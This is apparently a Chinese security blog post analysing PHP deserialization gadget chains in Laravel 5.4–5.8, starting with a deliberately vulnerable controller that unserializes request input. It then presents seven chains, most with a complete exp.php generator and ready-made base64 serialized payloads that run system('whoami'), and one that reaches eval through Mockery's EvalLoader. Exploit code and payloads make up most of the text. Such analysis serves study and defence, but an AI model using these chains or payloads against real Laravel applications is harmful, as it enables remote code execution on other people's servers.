laravel5.4反序列化

本文分析laravel5.4反序列化

laravel5.4反序列化

适用于5.4~5.8

好的RCE的格式

  1. #
  2. return $this->customCreators[$driver]($this->app);
  3. #
  4. return call_user_func_array($callback, $parameters);
  5. #
  6. $response = $listener($event, $payload); //system支持两个参数
  7. #
  8. while (!call_user_func($this->validator, $res));

好的入口格式

  1. #
  2. $this->events->dispatch($this->event);
  3. #
  4. $this->parent->addCollection($this->collection);
  5. #
  6. $this->events->dispatch()($this->event);
  7. #

审计要深入每个函数,包括类中的函数

技巧

  1. $res = call_user_func_array(array($this->generator, $name), $arguments);
  2. //可以使用__call返回,控制$res

环境搭建

  1. composer create-project --prefer-dist laravel/laravel laravel5.4 "5.4.*"
  2. #下载的版本应该是 5.4.30的。

添加路由(routes/web.php)

  1. Route::get('/index',"testController@test");

添加控制器(Http/Controllers/testController.php)

  1. <?php
  2. namespace App\Http\Controllers;
  3. use Illuminate\Http\Request;
  4. class testController{
  5. public function test(Request $request){
  6. $payload=$request->input("cmd");
  7. unserialize(base64_decode($payload));
  8. return 'hello binbin';
  9. }
  10. }

链子1

寻找入口函数

全局搜索 __destruct() 方法或者 __wakeup() 方法

找到了三个(使用方法类似)

  1. //Illuminate\Broadcasting\PendingBroadcast.php
  2. public function __destruct()
  3. {
  4. $this->events->dispatch($this->event);
  5. }
  6. //Loader/Configurator/ImportConfigurator.php
  7. public function __destruct()
  8. {
  9. $this->parent->addCollection($this->route);
  10. }
  11. //Loader/Configurator/CollectionConfigurator.php
  12. public function __destruct()
  13. {
  14. $this->collection->addPrefix(rtrim($this->route->getPath(), '/'));
  15. $this->parent->addCollection($this->collection);
  16. }

利用思路:__call、找可利用的 dispatch 方法

寻找可用的__call方法

  1. //Illuminate/Support/Manager.php
  2. public function __call($method, $parameters)
  3. {
  4. return $this->driver()->$method(...$parameters);
  5. }

跟进driver()

  1. public function driver($driver = null)
  2. {
  3. $driver = $driver ?: $this->getDefaultDriver();
  4. // If the given driver has not been created before, we will create the instances
  5. // here and cache it so we can return it next time very quickly. If there is
  6. // already a driver created by this name, we'll just return that instance.
  7. if (! isset($this->drivers[$driver])) {
  8. $this->drivers[$driver] = $this->createDriver($driver);
  9. }
  10. return $this->drivers[$driver];
  11. }

跟进createDriver

  1. protected function createDriver($driver)
  2. {
  3. // We'll check to see if a creator method exists for the given driver. If not we
  4. // will check for a custom driver creator, which allows developers to create
  5. // drivers using their own customized driver creator Closure to create it.
  6. if (isset($this->customCreators[$driver])) {
  7. return $this->callCustomCreator($driver);
  8. } else {
  9. $method = 'create'.Str::studly($driver).'Driver';
  10. if (method_exists($this, $method)) {
  11. return $this->$method();
  12. }
  13. }
  14. throw new InvalidArgumentException("Driver [$driver] not supported.");
  15. }

跟进callCustomCreator

  1. protected function callCustomCreator($driver)
  2. {
  3. return $this->customCreators[$driver]($this->app);
  4. //$this->customCreators,$this->app可控,可以进行RCE
  5. }

之后就是要确认$driver的值是否可控

回到driver(),跟进getDefaultDriver

看到getDefaultDriver是Manager.php的一个抽象类,寻找实现了此方法的类

  1. //Illuminate/Notifications/ChannelManager.php
  2. public function getDefaultDriver()
  3. {
  4. return $this->defaultChannel;
  5. }

因此就完全可以RCE了

exp.php

  1. <?php
  2. namespace Illuminate\Broadcasting
  3. {
  4. class PendingBroadcast
  5. {
  6. protected $events;
  7. protected $event;
  8. public function __construct($events, $event)
  9. {
  10. $this->event = $event;
  11. $this->events = $events;
  12. }
  13. }
  14. }
  15. namespace Illuminate\Notifications{
  16. class ChannelManager {
  17. //子类可以设置、使用父类的属性和函数
  18. protected $defaultChannel; //参数类型限制与原类一样
  19. protected $customCreators;
  20. protected $app;
  21. public function __construct($defaultChannel, $customCreators,$app)
  22. {
  23. $this->defaultChannel = $defaultChannel;
  24. $this->customCreators = $customCreators;
  25. $this->app = $app;
  26. }
  27. }
  28. }
  29. namespace {
  30. use Illuminate\Broadcasting\PendingBroadcast;
  31. use Illuminate\Notifications\ChannelManager;
  32. $channelManager=new ChannelManager('binbin',array('binbin'=>'system'),'whoami');
  33. $pendingBroadcast=new PendingBroadcast($channelManager,'binbin');
  34. echo urlencode(base64_encode(serialize($pendingBroadcast)));
  35. }

payload

  1. Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6Mjp7czo5OiIAKgBldmVudHMiO086Mzk6IklsbHVtaW5hdGVcTm90aWZpY2F0aW9uc1xDaGFubmVsTWFuYWdlciI6Mzp7czoxNzoiACoAZGVmYXVsdENoYW5uZWwiO3M6NjoiYmluYmluIjtzOjE3OiIAKgBjdXN0b21DcmVhdG9ycyI7YToxOntzOjY6ImJpbmJpbiI7czo2OiJzeXN0ZW0iO31zOjY6IgAqAGFwcCI7czo2OiJ3aG9hbWkiO31zOjg6IgAqAGV2ZW50IjtzOjY6ImJpbmJpbiI7fQ%3D%3D

链子2(需要绕过wakeup,低版本没有wakeup)

利用链子1的入口函数

  1. //Illuminate\Broadcasting\PendingBroadcast.php
  2. public function __destruct()
  3. {
  4. $this->events->dispatch($this->event);
  5. }

寻找__call函数

  1. //Faker/Generator.php
  2. public function __call($method, $attributes)
  3. { //$method=>dispatch $attributes=>$this->event
  4. return $this->format($method, $attributes);
  5. }

跟进format

  1. //Faker/Generator.php
  2. public function format($formatter, $arguments = array())
  3. {
  4. return call_user_func_array($this->getFormatter($formatter), $arguments);
  5. }

跟进getFormatter

  1. public function getFormatter($formatter)
  2. {
  3. if (isset($this->formatters[$formatter])) {
  4. return $this->formatters[$formatter];
  5. }
  6. foreach ($this->providers as $provider) {
  7. if (method_exists($provider, $formatter)) {
  8. $this->formatters[$formatter] = array($provider, $formatter);
  9. return $this->formatters[$formatter];
  10. }
  11. }
  12. throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
  13. }

一切都进行得很好结果发现了

  1. public function __wakeup()
  2. {
  3. $this->formatters = [];
  4. }

寄了

exp.php(没有__wakeup可用)

  1. <?php
  2. namespace Illuminate\Broadcasting {
  3. class PendingBroadcast
  4. {
  5. protected $events;
  6. protected $event;
  7. public function __construct($events, $event)
  8. {
  9. $this->event = $event;
  10. $this->events = $events;
  11. }
  12. }
  13. }
  14. namespace Faker {
  15. class Generator
  16. {
  17. protected $formatters;
  18. public function __construct($formatters)
  19. {
  20. $this->formatters = $formatters;
  21. }
  22. }
  23. }
  24. namespace {
  25. use Faker\Generator;
  26. use Illuminate\Broadcasting\PendingBroadcast;
  27. $generator = new Generator(array('dispatch'=>'system'));
  28. $pendingBroadcast = new PendingBroadcast($generator, 'whoami');
  29. echo urlencode(base64_encode(serialize($pendingBroadcast)));
  30. }

链子3

还是使用链子1的入口

  1. //Illuminate\Broadcasting\PendingBroadcast.php
  2. public function __destruct()
  3. {
  4. $this->events->dispatch($this->event);
  5. }

寻找__call方法

  1. //Illuminate/Validation/Validator.php
  2. public function __call($method, $parameters)
  3. {
  4. $rule = Str::snake(substr($method, 8));//$rule=''
  5. if (isset($this->extensions[$rule])) {
  6. return $this->callExtension($rule, $parameters);
  7. }
  8. throw new BadMethodCallException("Method [$method] does not exist.");
  9. }

跟进callExtension

  1. protected function callExtension($rule, $parameters)
  2. {
  3. $callback = $this->extensions[$rule];
  4. if (is_callable($callback)) {
  5. return call_user_func_array($callback, $parameters);
  6. //可能存在RCE
  7. } elseif (is_string($callback)) {
  8. return $this->callClassBasedExtension($callback, $parameters);
  9. }
  10. }

如果可以控制$callback,就可以RCE

$callback可控

跟进__call方法中的Str::snake

  1. //substr('dispatch', 8)=='',所以$value==''
  2. public static function snake($value, $delimiter = '_')
  3. {
  4. $key = $value;
  5. if (isset(static::$snakeCache[$key][$delimiter])) {
  6. return static::$snakeCache[$key][$delimiter];
  7. }
  8. if (! ctype_lower($value)) {
  9. $value = preg_replace('/\s+/u', '', $value);
  10. $value = static::lower(preg_replace('/(.)(?=[A-Z])/u', '$1'.$delimiter, $value));
  11. }
  12. return static::$snakeCache[$key][$delimiter] = $value;
  13. //返回值为''
  14. }

所以

  1. $rule = Str::snake(substr($method, 8));//$rule=''

exp.php

  1. <?php
  2. namespace Illuminate\Broadcasting
  3. {
  4. class PendingBroadcast
  5. {
  6. protected $events;
  7. protected $event;
  8. public function __construct($events, $event)
  9. {
  10. $this->event = $event;
  11. $this->events = $events;
  12. }
  13. }
  14. }
  15. namespace Illuminate\Validation {
  16. class Validator
  17. {
  18. public $extensions;
  19. public function __construct($extensions)
  20. {
  21. $this->extensions = $extensions;
  22. }
  23. }
  24. }
  25. namespace {
  26. use Illuminate\Broadcasting\PendingBroadcast;
  27. use Illuminate\Validation\Validator;
  28. $validator=new Validator(array(''=>'system'));
  29. $pendingBroadcast=new PendingBroadcast($validator,'whoami');
  30. echo urlencode(base64_encode(serialize($pendingBroadcast)));
  31. }

payload

  1. Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6Mjp7czo5OiIAKgBldmVudHMiO086MzE6IklsbHVtaW5hdGVcVmFsaWRhdGlvblxWYWxpZGF0b3IiOjE6e3M6MTA6ImV4dGVuc2lvbnMiO2E6MTp7czowOiIiO3M6Njoic3lzdGVtIjt9fXM6ODoiACoAZXZlbnQiO3M6Njoid2hvYW1pIjt9

链子4

使用链子1的入口

  1. //Illuminate\Broadcasting\PendingBroadcast.php
  2. public function __destruct()
  3. {
  4. $this->events->dispatch($this->event);
  5. }

寻找 dispatch 方法

  1. public function dispatch($event, $payload = [], $halt = false)
  2. {
  3. // When the given "event" is actually an object we will assume it is an event
  4. // object and use the class as the event name and this event itself as the
  5. // payload to the handler, which makes object based events quite simple.
  6. list($event, $payload) = $this->parseEventAndPayload(
  7. $event, $payload
  8. );
  9. if ($this->shouldBroadcast($payload)) {
  10. $this->broadcastEvent($payload[0]);
  11. }
  12. $responses = [];
  13. foreach ($this->getListeners($event) as $listener) {
  14. $response = $listener($event, $payload);
  15. //可以进行RCE,system支持两个参数
  16. // If a response is returned from the listener and event halting is enabled
  17. // we will just return this response, and not call the rest of the event
  18. // listeners. Otherwise we will add the response on the response list.
  19. if ($halt &amp;&amp; ! is_null($response)) {
  20. return $response;
  21. }
  22. // If a boolean false is returned from a listener, we will stop propagating
  23. // the event to any further listeners down in the chain, else we keep on
  24. // looping through the listeners and firing every one in our sequence.
  25. if ($response === false) {
  26. break;
  27. }
  28. $responses[] = $response;
  29. }
  30. return $halt ? null : $responses;
  31. }

跟进getListeners

  1. public function getListeners($eventName)
  2. {
  3. $listeners = isset($this->listeners[$eventName]) ? $this->listeners[$eventName] : [];
  4. //返回$this->listeners[$eventName],$listeners有空
  5. $listeners = array_merge(
  6. $listeners, $this->getWildcardListeners($eventName)
  7. );
  8. return class_exists($eventName, false)
  9. ? $this->addInterfaceListeners($eventName, $listeners)
  10. : $listeners;
  11. //最后返回$listeners
  12. }

exp.php

  1. <?php
  2. namespace Illuminate\Broadcasting
  3. {
  4. class PendingBroadcast
  5. {
  6. protected $events;
  7. protected $event;
  8. public function __construct($events, $event)
  9. {
  10. $this->event = $event;
  11. $this->events = $events;
  12. }
  13. }
  14. }
  15. namespace Illuminate\Events {
  16. class Dispatcher
  17. {
  18. protected $listeners;
  19. public function __construct($listeners){
  20. $this->listeners=$listeners;
  21. }
  22. }
  23. }
  24. namespace {
  25. use Illuminate\Broadcasting\PendingBroadcast;
  26. use Illuminate\Events\Dispatcher;
  27. $event='whoami';
  28. $dispatcher=new Dispatcher(array($event=>['system']));
  29. $pendingBroadcast=new PendingBroadcast($dispatcher,$event);
  30. echo urlencode(base64_encode(serialize($pendingBroadcast)));
  31. }

payload

  1. Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6Mjp7czo5OiIAKgBldmVudHMiO086Mjg6IklsbHVtaW5hdGVcRXZlbnRzXERpc3BhdGNoZXIiOjE6e3M6MTI6IgAqAGxpc3RlbmVycyI7YToxOntzOjY6Indob2FtaSI7YToxOntpOjA7czo2OiJzeXN0ZW0iO319fXM6ODoiACoAZXZlbnQiO3M6Njoid2hvYW1pIjt9

链子5(适用版本多)

使用链1的入口

  1. public function __destruct()
  2. {
  3. $this->events->dispatch($this->event);
  4. }

寻找dispatch方法

  1. //src/Illuminate/Bus/Dispatcher.php
  2. public function dispatch($command)
  3. {//$this->queueResolver==true;$command instanceof ShouldQueue
  4. if ($this->queueResolver &amp;&amp; $this->commandShouldBeQueued($command))
  5. {
  6. return $this->dispatchToQueue($command);
  7. } else {
  8. return $this->dispatchNow($command);
  9. }
  10. }

跟进commandShouldBeQueued

  1. protected function commandShouldBeQueued($command)
  2. {
  3. return $command instanceof ShouldQueue;
  4. //(1)判断一个对象是否是某个类的实例,(2)判断一个对象是否实现了某个接口。
  5. }

跟进dispatchToQueue

  1. public function dispatchToQueue($command)
  2. {
  3. //$command可以是任意一个ShouldQueued的对象或者实现了此接口的对象,只要设置connection就好了
  4. $connection = isset($command->connection) ? $command->connection : null;
  5. $queue = call_user_func($this->queueResolver, $connection);
  6. if (! $queue instanceof Queue) {
  7. throw new RuntimeException('Queue resolver did not return a Queue implementation.');
  8. }
  9. if (method_exists($command, 'queue')) {
  10. return $command->queue($queue, $command);
  11. } else {
  12. return $this->pushCommandToQueue($queue, $command);
  13. }
  14. }public function dispatchToQueue($command)
  15. {
  16. $connection = isset($command->connection) ? $command->connection : null;
  17. $queue = call_user_func($this->queueResolver, $connection);
  18. if (! $queue instanceof Queue) {
  19. throw new RuntimeException('Queue resolver did not return a Queue implementation.');
  20. }
  21. if (method_exists($command, 'queue')) {
  22. return $command->queue($queue, $command);
  23. } else {
  24. return $this->pushCommandToQueue($queue, $command);
  25. }
  26. }

exp.php

  1. <?php
  2. namespace Illuminate\Broadcasting
  3. {
  4. class PendingBroadcast
  5. {
  6. protected $events;
  7. protected $event;
  8. public function __construct($events, $event)
  9. {
  10. $this->event = $event;
  11. $this->events = $events;
  12. }
  13. }
  14. }
  15. namespace Illuminate\Bus {
  16. class Dispatcher
  17. {
  18. protected $queueResolver;
  19. public function __construct($queueResolver)
  20. {
  21. $this->queueResolver = $queueResolver;
  22. }
  23. }
  24. }
  25. namespace Illuminate\Foundation\Console {
  26. class QueuedCommand
  27. {
  28. public $connection;
  29. public function __construct($connection)
  30. {
  31. $this->connection = $connection;
  32. }
  33. }
  34. }
  35. namespace {
  36. use Illuminate\Broadcasting\PendingBroadcast;
  37. use Illuminate\Bus\Dispatcher;
  38. use Illuminate\Foundation\Console\QueuedCommand;
  39. $event='whoami';
  40. $queuedCommand=new QueuedCommand($event);
  41. $dispatcher=new Dispatcher('system');
  42. $pendingBroadcast=new PendingBroadcast($dispatcher,$queuedCommand);
  43. echo urlencode(base64_encode(serialize($pendingBroadcast)));
  44. }

paylaod

  1. Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6Mjp7czo5OiIAKgBldmVudHMiO086MjU6IklsbHVtaW5hdGVcQnVzXERpc3BhdGNoZXIiOjE6e3M6MTY6IgAqAHF1ZXVlUmVzb2x2ZXIiO3M6Njoic3lzdGVtIjt9czo4OiIAKgBldmVudCI7Tzo0MzoiSWxsdW1pbmF0ZVxGb3VuZGF0aW9uXENvbnNvbGVcUXVldWVkQ29tbWFuZCI6MTp7czoxMDoiY29ubmVjdGlvbiI7czo2OiJ3aG9hbWkiO319

链子6

入口

  1. //Illuminate\Broadcasting\PendingBroadcast.php
  2. public function __destruct()
  3. {
  4. $this->events->dispatch($this->event);
  5. }

寻找__call方法

  1. //src/Faker/ValidGenerator.php
  2. public function __call($name, $arguments)
  3. {
  4. $i = 0;
  5. do {
  6. $res = call_user_func_array(array($this->generator, $name), $arguments);//可以使用__call返回,控制$res
  7. $i++;
  8. if ($i > $this->maxRetries) {
  9. throw new \OverflowException(sprintf('Maximum retries of %d reached without finding a valid value', $this->maxRetries));
  10. }
  11. } while (!call_user_func($this->validator, $res));
  12. return $res;
  13. }

可以使用__call返回,控制$res

  1. //src/Faker/DefaultGenerator.php
  2. public function __call($method, $attributes)
  3. {
  4. return $this->default;
  5. }

exp.php

  1. <?php
  2. namespace Illuminate\Broadcasting {
  3. class PendingBroadcast
  4. {
  5. protected $events;
  6. protected $event;
  7. public function __construct($events, $event)
  8. {
  9. $this->event = $event;
  10. $this->events = $events;
  11. }
  12. }
  13. }
  14. namespace Faker {
  15. class DefaultGenerator
  16. {
  17. protected $default;
  18. public function __construct($default)
  19. {
  20. $this->default = $default;
  21. }
  22. }
  23. class ValidGenerator
  24. {
  25. protected $generator;
  26. protected $validator;
  27. protected $maxRetries;
  28. public function __construct($generator, $validator, $maxRetries)
  29. {
  30. $this->generator = $generator;
  31. $this->validator = $validator;
  32. $this->maxRetries = $maxRetries;
  33. }
  34. }
  35. }
  36. namespace {
  37. use Faker\DefaultGenerator;
  38. use Faker\ValidGenerator;
  39. use Illuminate\Broadcasting\PendingBroadcast;
  40. $defaultGenerator=new DefaultGenerator('whoami');
  41. $validGenerator=new ValidGenerator($defaultGenerator,'system',1);
  42. $pendingBroadcast = new PendingBroadcast($validGenerator, 'whoami');
  43. echo urlencode(base64_encode(serialize($pendingBroadcast)));
  44. }

payload

  1. Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6Mjp7czo5OiIAKgBldmVudHMiO086MjA6IkZha2VyXFZhbGlkR2VuZXJhdG9yIjozOntzOjEyOiIAKgBnZW5lcmF0b3IiO086MjI6IkZha2VyXERlZmF1bHRHZW5lcmF0b3IiOjE6e3M6MTA6IgAqAGRlZmF1bHQiO3M6Njoid2hvYW1pIjt9czoxMjoiACoAdmFsaWRhdG9yIjtzOjY6InN5c3RlbSI7czoxMzoiACoAbWF4UmV0cmllcyI7aToxO31zOjg6IgAqAGV2ZW50IjtzOjY6Indob2FtaSI7fQ%3D%3D

链子7

在链子5的基础上进行(感觉比较鸡肋)

使用链1的入口

  1. public function __destruct()
  2. {
  3. $this->events->dispatch($this->event);
  4. }

寻找dispatch方法

  1. //src/Illuminate/Bus/Dispatcher.php
  2. public function dispatch($command)
  3. {//$this->queueResolver==true;$command instanceof ShouldQueue
  4. if ($this->queueResolver &amp;&amp; $this->commandShouldBeQueued($command))
  5. {
  6. return $this->dispatchToQueue($command);
  7. } else {
  8. return $this->dispatchNow($command);
  9. }
  10. }

跟进commandShouldBeQueued

  1. protected function commandShouldBeQueued($command)
  2. {
  3. return $command instanceof ShouldQueue;
  4. //(1)判断一个对象是否是某个类的实例,(2)判断一个对象是否实现了某个接口。
  5. }

跟进dispatchToQueue

  1. public function dispatchToQueue($command)
  2. {
  3. //$command可以是任意一个ShouldQueued的对象或者实现了此接口的对象,只要设置connection就好了
  4. $connection = isset($command->connection) ? $command->connection : null;
  5. $queue = call_user_func($this->queueResolver, $connection);
  6. if (! $queue instanceof Queue) {
  7. throw new RuntimeException('Queue resolver did not return a Queue implementation.');
  8. }
  9. if (method_exists($command, 'queue')) {
  10. return $command->queue($queue, $command);
  11. } else {
  12. return $this->pushCommandToQueue($queue, $command);
  13. }
  14. }public function dispatchToQueue($command)
  15. {
  16. $connection = isset($command->connection) ? $command->connection : null;
  17. $queue = call_user_func($this->queueResolver, $connection);
  18. //传入数组[A,func],调用A类的func方法,$connection作为参数
  19. if (! $queue instanceof Queue) {
  20. throw new RuntimeException('Queue resolver did not return a Queue implementation.');
  21. }
  22. if (method_exists($command, 'queue')) {
  23. return $command->queue($queue, $command);
  24. } else {
  25. return $this->pushCommandToQueue($queue, $command);
  26. }
  27. }

寻找危险函数 eval()

  1. //Mockery\Loader\EvalLoader.php
  2. class EvalLoader implements Loader
  3. {
  4. public function load(MockDefinition $definition)
  5. {
  6. if (class_exists($definition->getClassName(), false)) {
  7. //class_exists():检测是否存在改该类名
  8. return;
  9. }
  10. eval("?>" . $definition->getCode()); //eval危险函数,只要能控制$definition->getClassName()和$definition->getCode()就可以执行命令了
  11. }
  12. }

跟踪getcode()和getclassname()

  1. <?php
  2. namespace Mockery\Generator;
  3. class MockDefinition
  4. {
  5. protected $config;
  6. protected $code;
  7. public function getClassName()
  8. {
  9. return $this->config->getName();
  10. }
  11. public function getCode()
  12. {
  13. return $this->code;
  14. }
  15. }

getcode()可以直接控制

跟进getname()

位于line.php

  1. <?php declare(strict_types=1);
  2. namespace PhpParser\Node\Scalar\MagicConst;
  3. use PhpParser\Node\Scalar\MagicConst;
  4. class Line extends MagicConst
  5. {
  6. public function getName() : string {
  7. return '__LINE__';
  8. }
  9. public function getType() : string {
  10. return 'Scalar_MagicConst_Line';
  11. }
  12. }

因为不存在__LINE__的类名,可以直接利用

exp.php

  1. <?php
  2. namespace Illuminate\Broadcasting{
  3. use Illuminate\Bus\Dispatcher;
  4. use Illuminate\Foundation\Console\QueuedCommand;
  5. class PendingBroadcast
  6. {
  7. protected $events;
  8. protected $event;
  9. public function __construct(){
  10. $this->events=new Dispatcher();
  11. $this->event=new QueuedCommand();
  12. }
  13. }
  14. }
  15. namespace Illuminate\Foundation\Console{
  16. use Mockery\Generator\MockDefinition;
  17. class QueuedCommand
  18. {
  19. public $connection;
  20. public function __construct()
  21. {
  22. $this->connection=new MockDefinition();
  23. }
  24. }
  25. }
  26. namespace Mockery\Generator{
  27. class MockDefinition{
  28. protected $config;
  29. protected $code;
  30. public function __construct()
  31. {
  32. $this->code="<?php echo system('whoami'); exit(); ?>";
  33. $this->config=new MockConfiguration();
  34. }
  35. }
  36. class MockConfiguration{
  37. }
  38. }
  39. namespace Illuminate\Bus{
  40. use Mockery\Loader\EvalLoader;
  41. class Dispatcher
  42. {
  43. protected $queueResolver;
  44. public function __construct()
  45. {
  46. $this->queueResolver=[new EvalLoader(),'load'];
  47. //$this->queueResolver=array(new EvalLoader(),'load');
  48. //数组
  49. }
  50. }
  51. }
  52. namespace Mockery\Loader{
  53. class EvalLoader{
  54. }
  55. }
  56. namespace{
  57. use Illuminate\Broadcasting\PendingBroadcast;
  58. echo urlencode(serialize(new PendingBroadcast()));
  59. }
  • 发表于 2022-10-18 09:33:33
  • 阅读 ( 6436 )
  • 分类:漏洞分析

0 条评论

binbin
binbin

4 篇文章

站长统计